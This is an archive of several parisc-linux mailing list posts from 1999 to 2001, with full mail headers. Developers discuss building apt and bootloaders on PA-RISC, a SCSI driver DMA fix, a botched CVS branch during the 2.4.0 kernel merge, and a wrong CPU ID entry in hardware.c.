NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="WfZ7S8PLGjBY9Voh"
X-Trace: ger.gmane.org 1416619591 11301 80.91.229.3 (22 Nov 2014 01:26:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:31 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Paul J.Y. Lahaie" <pjlahaie@linuxcare.com>
Original-X-From: randolph@tausq.org  Wed Jan 24 22:55:28 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA32060
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Jan 2001 22:55:27 -0700
Original-Received: (qmail 30873 invoked by uid 15267); 25 Jan 2001 05:59:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30862 invoked from network); 25 Jan 2001 05:59:21 -0000
Original-Received: from phnxpop2.phnx.uswest.net (206.80.192.2)
  by mailserv2.iuinc.com with SMTP; 25 Jan 2001 05:59:21 -0000
Original-Received: (qmail 54820 invoked by uid 0); 25 Jan 2001 05:59:20 -0000
Original-Received: from bdslppp32.phnx.uswest.net (HELO gandalf.tausq.org) (216.160.217.32)
  by phnxpop2.phnx.uswest.net with SMTP; 25 Jan 2001 05:59:20 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 14LfQZ-0006AR-00; Wed, 24 Jan 2001 22:58:35 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010124162813.G19066@achilles.net>; from pjlahaie@linuxcare.com on Wed, Jan 24, 2001 at 04:28:13PM -0500
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:9384


--WfZ7S8PLGjBY9Voh
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

> I'm in the process of trying to get a working apt (still) and I'm getting
> the following with the latest kernel (updated this morning) and the
> toolchain from nfsroot-20010118.  The system is a C360 with 256MB of RAM.

FWIW I didn't run into this problem when I tried to compile apt using
the same nfsroot and a kernel that is a few days old (Jan20). I get
almost all the way through the end of the build. one of the files take a
lot of memory to build and fails on my gecko, but i've gotten it to work
before so i'm pretty sure it'll work if i increase my swap. i'll try to
give this a try this weekend.

randolph
--=20
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^

--WfZ7S8PLGjBY9Voh
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.1 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE6b8CLULspdC1Zp9IRAn7eAJ9IqeQ/OOI0PGJGGmgAMwgy5eAyFACffSZg
XrV5v+u1BFPzGXbMKYp0br0=
=1ste
-----END PGP SIGNATURE-----

--WfZ7S8PLGjBY9Voh--


From - Thu Nov 08 21:15:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C100 and newest CVS bits
Date: Thu, 25 Jan 2001 09:44:32 +0000
Lines: 10
Approved: news@gmane.org
Message-ID: <20010125094431.L3571@linuxcare.com>
References: <200101241708.JAA20961@milano.cup.hp.com> <Pine.LNX.4.21.0101241157050.25744-100000@maestro.symsys.com> <20010124191457.H3571@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619591 11304 80.91.229.3 (22 Nov 2014 01:26:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:31 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
To: Greg Ingram <ingram@symsys.com>
Original-X-From: rhirst@linuxcare.com  Thu Jan 25 02:52:39 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA01223
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 Jan 2001 02:52:39 -0700
Original-Received: (qmail 5646 invoked by uid 15267); 25 Jan 2001 09:56:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5627 invoked from network); 25 Jan 2001 09:56:34 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 25 Jan 2001 09:56:34 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 1D45AB008; Thu, 25 Jan 2001 09:44:32 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010124191457.H3571@linuxcare.com>; from rhirst@linuxcare.com on Wed, Jan 24, 2001 at 07:14:57PM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:9385

On Wed, Jan 24, 2001 at 07:14:57PM +0000, Richard Hirst wrote:
> Your original message (assert size > 0) implies that one of the scsi
> drivers has passed down a request to map a zero length buffer.  That

That was indeed the case.  Something asks sim700.c to do a bidirectional
trasfer of length 0.  Fixed sim700.c to not pci_map_single() on such
requests.  Should be ok now.

Richard


From - Thu Nov 08 21:15:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.0 merge mangle our tree?
Date: Thu, 25 Jan 2001 10:19:18 +0000
Lines: 7
Approved: news@gmane.org
Message-ID: <20010125101918.M3571@linuxcare.com>
References: <200101250346.TAA21555@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619591 11306 80.91.229.3 (22 Nov 2014 01:26:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:31 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: rhirst@linuxcare.com  Thu Jan 25 03:26:31 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA01712
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 Jan 2001 03:26:30 -0700
Original-Received: (qmail 3324 invoked by uid 15267); 25 Jan 2001 10:30:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3264 invoked from network); 25 Jan 2001 10:30:09 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 25 Jan 2001 10:30:09 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 09284B008; Thu, 25 Jan 2001 10:19:18 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <200101250346.TAA21555@milano.cup.hp.com>; from grundler@cup.hp.com on Wed, Jan 24, 2001 at 07:46:40PM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:9386

Main branch is certainly broken.  e.g. drivers/pci/Makefile makes
drivers/pci/pci.a but Makefile tries to link drivers/pci/drivers.o
I fixed that in my tree but then got masses of unresolved
references on the final link.

Richard


From - Thu Nov 08 21:15:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Building the Bootloader
Date: Tue, 1 Jun 1999 16:03:20 -0400 (EDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <199906012003.QAA26250@hiauly1.hia.nrc.ca>
References: <19990601213157.A12837@suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619591 11308 80.91.229.3 (22 Nov 2014 01:26:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:31 +0000 (UTC)
Cc: cjbeard@istar.ca, parisc-linux@thepuffingroup.com
To: prumpf@suse.de (Philipp Rumpf)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Jun  1 14:03:30 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA10595
	for <parisc-linux@puffin.external.hp.com>; Tue, 1 Jun 1999 14:03:30 -0600
Original-Received: (qmail 6267 invoked by uid 15267); 1 Jun 1999 20:02:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6244 invoked from network); 1 Jun 1999 20:02:45 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 1 Jun 1999 20:02:45 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id QAA26250;
	Tue, 1 Jun 1999 16:03:21 -0400 (EDT)
In-Reply-To: <19990601213157.A12837@suse.de> from "Philipp Rumpf" at Jun 1, 99 09:31:57 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9387

> > I think that I may have been able to successfully cross compile ipl to an
> > elf binary with text starting at offset 0.  Note that this requires that
> 
> offset 0 sounds bad as we may not corrupt page 0 (the PDC puts some data we
> need there).

This is easily changed but seems consistent with the "-R 0" option to
the hp linker used in Jason Eckhardt's Makefile.  It would appear that
mkipl builds the actual image.  On the otherhand, no care was taken
to compile using pic so there may be a relocation problem.

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.0 merge mangle our tree?
Date: Thu, 25 Jan 2001 12:00:27 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20010125120027.P3571@linuxcare.com>
References: <200101250346.TAA21555@milano.cup.hp.com> <20010125101918.M3571@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619592 11310 80.91.229.3 (22 Nov 2014 01:26:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:32 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: rhirst@linuxcare.com  Thu Jan 25 05:07:24 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA07549
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 Jan 2001 05:07:23 -0700
Original-Received: (qmail 23395 invoked by uid 15267); 25 Jan 2001 12:11:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23385 invoked from network); 25 Jan 2001 12:11:19 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 25 Jan 2001 12:11:19 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 867EDB008; Thu, 25 Jan 2001 12:00:27 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010125101918.M3571@linuxcare.com>; from rhirst@linuxcare.com on Thu, Jan 25, 2001 at 10:19:18AM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:9388

On Thu, Jan 25, 2001 at 10:19:18AM +0000, Richard Hirst wrote:
> Main branch is certainly broken.  e.g. drivers/pci/Makefile makes
> drivers/pci/pci.a but Makefile tries to link drivers/pci/drivers.o
> I fixed that in my tree but then got masses of unresolved
> references on the final link.

For the main branch, Makefile appears to be from 2.4.0, but
drivers/pci/Makefile isn't.  I dropped in a new drivers/pci/Makefile
and the next problem is that it isn't building anything in arch/parisc/lib.
Make.Rules change, maybe.

Giving up for now,
  Richard


From - Thu Nov 08 21:15:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.0 merge mangle our tree?
Date: Thu, 25 Jan 2001 13:02:33 +0000
Lines: 41
Approved: news@gmane.org
Message-ID: <20010125130233.A25242@parcelfarce.linux.theplanet.co.uk>
References: <200101250346.TAA21555@milano.cup.hp.com> <Pine.BSF.4.10.10101242312100.26332-100000@cuzea.pair.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619592 11313 80.91.229.3 (22 Nov 2014 01:26:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:32 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
To: Michael Ang <mang@subcarrier.org>
Original-X-From: willy@www.linux.org.uk  Thu Jan 25 06:25:05 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA08397
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 Jan 2001 06:25:04 -0700
Original-Received: (qmail 1085 invoked by uid 15267); 25 Jan 2001 13:29:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1078 invoked from network); 25 Jan 2001 13:29:00 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 25 Jan 2001 13:29:00 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14Lm2r-00078d-00; Thu, 25 Jan 2001 13:02:33 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <Pine.BSF.4.10.10101242312100.26332-100000@cuzea.pair.com>; from mang@subcarrier.org on Wed, Jan 24, 2001 at 11:19:57PM -0500
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9389

On Wed, Jan 24, 2001 at 11:19:57PM -0500, Michael Ang wrote:
> That seems closer to what you want, but backs out any changes made since
> the merge started.  Not sure what the difference between *_PREMERGE and
> *_PREIMPORT is - you'd have to ask willy, I guess.

_PREIMPORT was a tag laid down by paul.  _PREMERGE was the tag I laid
down before starting the merge.

i'm not sure why i fucked up the branching so badly.  I did:

cvs tag -b LINUS_240_FIXUP
cvs ci
cvs add (several times, adding new directories and new files)
cvs ci
cvs -n up
cvs rm
cvs ci

(taken from my bash history, so i know this is exactly what i did)

the manpage says:

              To create a branch revision, one
              typically use the -b option of the rtag or tag com
              mands.  Then, either checkout or update can be used
              to base your sources on the newly  created  branch.
              From  that point on, all commit changes made within
              these working sources will be  automatically  added
              to  a branch revision, thereby not perturbing main-
              line development in any way. 

so what did i do wrong?

the other question is how best to fix the mess... if you check out
LINUS_240_FIXUP do you get a non-broken kernel?  does it work?  if so,
let's just put it all back on the HEAD.  if not, we have to try figuring
out something else.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CPU detection wrong
Date: Thu, 25 Jan 2001 14:52:44 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20010125145244.C25242@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619592 11315 80.91.229.3 (22 Nov 2014 01:26:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:32 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@www.linux.org.uk  Thu Jan 25 07:48:49 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA09096
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 Jan 2001 07:48:49 -0700
Original-Received: (qmail 13923 invoked by uid 15267); 25 Jan 2001 14:52:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13902 invoked from network); 25 Jan 2001 14:52:44 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 25 Jan 2001 14:52:44 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14LnlU-0000at-00
	for parisc-linux@thepuffingroup.com; Thu, 25 Jan 2001 14:52:44 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9390


we have the following entry in hardware.c:

        { 0x05c0, 0x0fc0, pcxw   },  /* 0x05c0 - 0x05ff */

however, 5d5 is a pcxw+ (pa8600).  I don't know enough to change this
because i don't have a list of which ids are assigned.  I know this
information is available within linuxcare because i remember going over
this with dave kennedy at one point.  i don't have that information any
more though, so i can't fix this myself.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ang <mang@subcarrier.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.0 merge mangle our tree?
Date: Thu, 25 Jan 2001 09:56:47 -0500 (EST)
Lines: 47
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.10.10101250940460.22395-100000@cuzea.pair.com>
References: <20010125130233.A25242@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=X-UNKNOWN
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619593 11318 80.91.229.3 (22 Nov 2014 01:26:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:33 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: mang@subcarrier.org  Thu Jan 25 07:52:55 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA09594
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 Jan 2001 07:52:55 -0700
Original-Received: (qmail 20093 invoked by uid 15267); 25 Jan 2001 14:56:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20078 invoked from network); 25 Jan 2001 14:56:51 -0000
Original-Received: from cuzea.pair.com (209.68.1.197)
  by mailserv2.iuinc.com with SMTP; 25 Jan 2001 14:56:51 -0000
Original-Received: (qmail 23934 invoked by uid 3142); 25 Jan 2001 14:56:47 -0000
Original-Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 25 Jan 2001 14:56:47 -0000
X-Sender: mang@cuzea.pair.com
In-Reply-To: <20010125130233.A25242@parcelfarce.linux.theplanet.co.uk>
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by puffin.external.hp.com id HAA09594
Xref: news.gmane.org gmane.linux.ports.parisc:9391

On Thu, 25 Jan 2001, Matthew Wilcox wrote:
> 
> i'm not sure why i fucked up the branching so badly.  I did:
> 
> cvs tag -b LINUS_240_FIXUP
[What did you do here?  Copy files from a tarball?]
> cvs ci
> cvs add (several times, adding new directories and new files)
> cvs ci
> cvs -n up
> cvs rm
[What kind of files were you removing?]
> cvs ci
> 
> (taken from my bash history, so i know this is exactly what i did)
>

Note my emphasis of your words: 
> the manpage says:
> 
>               To create a branch revision, one
>               typically use the -b option of the rtag or tag com
>               mands.  **Then, either checkout or update can be used
>               to base your sources on the newly  created  branch.**
>               From  that point on, all commit changes made within
>               these working sources will be  automatically  added
>               to  a branch revision, thereby not perturbing main-
>               line development in any way. 
> 
> so what did i do wrong?

You didn't check out or update with the branch tag, so all your changes
hit the trunk.  I'm not convinced you want to use a branch for merging (I
prefer doing it on the trunk - it hurts alot but it's over fast) but I
haven't been following the discussions very closely.

> the other question is how best to fix the mess... if you check out
> LINUS_240_FIXUP do you get a non-broken kernel?  does it work?  if so,
> let's just put it all back on the HEAD.  if not, we have to try figuring
> out something else.

The thing to really avoid is losing local changes.  If you want to do the
merge on a branch, the best bet is to revert the inadvertent changes to
the trunk and start over.

	- Mike.


From - Thu Nov 08 21:15:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.0 merge mangle our tree?
Date: Thu, 25 Jan 2001 15:06:16 +0000
Lines: 44
Approved: news@gmane.org
Message-ID: <20010125150616.D25242@parcelfarce.linux.theplanet.co.uk>
References: <20010125130233.A25242@parcelfarce.linux.theplanet.co.uk> <Pine.BSF.4.10.10101250940460.22395-100000@cuzea.pair.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619593 11320 80.91.229.3 (22 Nov 2014 01:26:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:33 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@thepuffingroup.com
To: Michael Ang <mang@subcarrier.org>
Original-X-From: willy@www.linux.org.uk  Thu Jan 25 08:02:25 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA09987
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 Jan 2001 08:02:25 -0700
Original-Received: (qmail 2711 invoked by uid 15267); 25 Jan 2001 15:06:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2676 invoked from network); 25 Jan 2001 15:06:19 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 25 Jan 2001 15:06:19 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14Lnya-0000ss-00; Thu, 25 Jan 2001 15:06:16 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <Pine.BSF.4.10.10101250940460.22395-100000@cuzea.pair.com>; from mang@subcarrier.org on Thu, Jan 25, 2001 at 09:56:47AM -0500
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9392

On Thu, Jan 25, 2001 at 09:56:47AM -0500, Michael Ang wrote:
> On Thu, 25 Jan 2001, Matthew Wilcox wrote:
> > 
> > i'm not sure why i fucked up the branching so badly.  I did:
> > 
> > cvs tag -b LINUS_240_FIXUP
> [What did you do here?  Copy files from a tarball?]

umm.. i did this after i'd merged the 2.4.0 files into my tree.  i didn't
think about doing it on a branch until then.  Should have thought about
it in advance, I guess?

> > cvs ci
> > cvs add (several times, adding new directories and new files)
> > cvs ci
> > cvs -n up
> > cvs rm
> [What kind of files were you removing?]

the ones which `cvs -n up' told me it would have added -- ie the ones
which were deleted by patch.

> You didn't check out or update with the branch tag, so all your changes
> hit the trunk.  I'm not convinced you want to use a branch for merging (I
> prefer doing it on the trunk - it hurts alot but it's over fast) but I
> haven't been following the discussions very closely.

Ugh.  Blah.  The reason I attempted to do it on a branch is that I could
only test it compiled not that it booted (for reasons too complex to
go into here, involving not being able to locate a 110V to 8V AC in
ottawa yet).  Perhaps I should have just not bothered.

> The thing to really avoid is losing local changes.  If you want to do the
> merge on a branch, the best bet is to revert the inadvertent changes to
> the trunk and start over.

Well, I have a directory here which contains what I want to appear in
CVS on the branch.  I'm not getting rid of it!  Would you mind reverting
this mess I've created to before the checkins I did yesterday, and I'll
try again?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dkennedy <dkennedy@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CPU detection wrong
Date: Thu, 25 Jan 2001 11:11:19 -0800 (PST)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101251110190.3746-100000@localhost.localdomain>
References: <20010125145244.C25242@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619593 11323 80.91.229.3 (22 Nov 2014 01:26:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:33 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: dkennedy@linuxcare.com  Thu Jan 25 08:06:20 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA10153
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 Jan 2001 08:06:20 -0700
Original-Received: (qmail 8764 invoked by uid 15267); 25 Jan 2001 15:10:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8580 invoked from network); 25 Jan 2001 15:10:09 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost.linuxcare.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 25 Jan 2001 15:10:09 -0000
Original-Received: by localhost.linuxcare.com (Postfix, from userid 501)
	id 2B8162B1; Thu, 25 Jan 2001 11:11:19 -0800 (PST)
Original-Received: from localhost (localhost [127.0.0.1])
	by localhost.linuxcare.com (Postfix) with ESMTP
	id C56B3AB70; Thu, 25 Jan 2001 11:11:19 -0800 (PST)
X-Sender: dkennedy@localhost.localdomain
In-Reply-To: <20010125145244.C25242@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9393

On Thu, 25 Jan 2001, Matthew Wilcox wrote:

> 
> we have the following entry in hardware.c:
> 
>         { 0x05c0, 0x0fc0, pcxw   },  /* 0x05c0 - 0x05ff */
> 
> however, 5d5 is a pcxw+ (pa8600).  I don't know enough to change this
> because i don't have a list of which ids are assigned.  I know this
> information is available within linuxcare because i remember going over
> this with dave kennedy at one point.  i don't have that information any
> more though, so i can't fix this myself.

I will modify hardware.c and the hardware database to accomodate this 
change.  I will be doing that next week sometime.

Thank you.

If anyone else has any other changes to the CPU detection code please let me
know.

-- 
David Kennedy, Technical Account Manager, Linuxcare, Inc.
613.562.9594 tel, 613.562.9304 fax
dkennedy@linuxcare.com, http://www.linuxcare.com/
Linuxcare.  Support for the revolution.



From - Thu Nov 08 21:15:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <alex@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CPU detection wrong
Date: Thu, 25 Jan 2001 11:34:00 -0500
Organization: The Puffins at Linuxcare
Lines: 23
Approved: news@gmane.org
Message-ID: <3A705578.E0FDC04C@linuxcare.com>
References: <20010125145244.C25242@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619594 11329 80.91.229.3 (22 Nov 2014 01:26:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:34 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
